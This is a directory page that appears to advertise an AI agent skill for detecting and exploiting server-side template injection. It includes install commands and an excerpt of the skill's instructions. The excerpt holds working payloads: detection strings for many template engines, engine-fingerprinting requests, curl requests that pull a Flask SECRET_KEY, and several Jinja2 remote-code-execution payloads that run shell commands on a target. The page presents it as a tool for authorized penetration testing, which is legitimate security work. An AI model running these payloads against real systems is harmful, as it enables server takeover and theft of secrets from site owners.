Skip to content
Skillpedia
Security35k · #5763

exploiting-template-injection-vulnerabilities

Teaches your AI agent to protect apps against attacks and build APIs and back-end systems.

What it does

This tool helps find and exploit security flaws in websites that use 'template engines' to display information. It attempts to execute commands on the server to confirm the vulnerability and can even read files or run commands.

When to use it

  • ✓When testing a website's security with permission.
  • ✓When the website displays user-provided data in areas like forms or messages.
  • ✓To check if it's possible to read server files or execute commands through template flaws.

Example of what to ask your AI

“Check for template injection vulnerabilities on example.com”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends special texts (payloads) to the website, which are processed by the template engine. If the website responds unexpectedly, like showing the result of a math calculation, it indicates a potential flaw that can be exploited.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-template-injection-vulnerabilities

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Exploiting Template Injection Vulnerabilities

When to Use

  • During authorized penetration tests when user input is rendered through a server-side template engine
  • When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
  • For assessing applications that allow users to customize templates or notification messages
  • When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
  • During security assessments of CMS platforms, marketing tools, or any application with templating functionality

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • Burp Suite Professional: For intercepting and modifying template parameters
  • tplmap: Automated SSTI exploitation tool (git clone https://github.com/epinna/tplmap.git)
  • SSTImap: Modern SSTI scanner (pip install sstimap)
  • curl: For manual SSTI payload testing
  • Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Workflow

Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2

…
FAQ

What is a 'template engine'?

It's a system that helps create dynamic web pages by mixing fixed content with changing information, like a username or form data.

What is 'template injection'?

It's a type of security vulnerability where an attacker can insert malicious commands or code through a template engine, which the server then executes.

Do I need permission to use this tool?

Yes, it is crucial to have explicit written authorization before testing any system, as exploiting vulnerabilities without permission is illegal.

Details

Original description by the author

Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5763
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills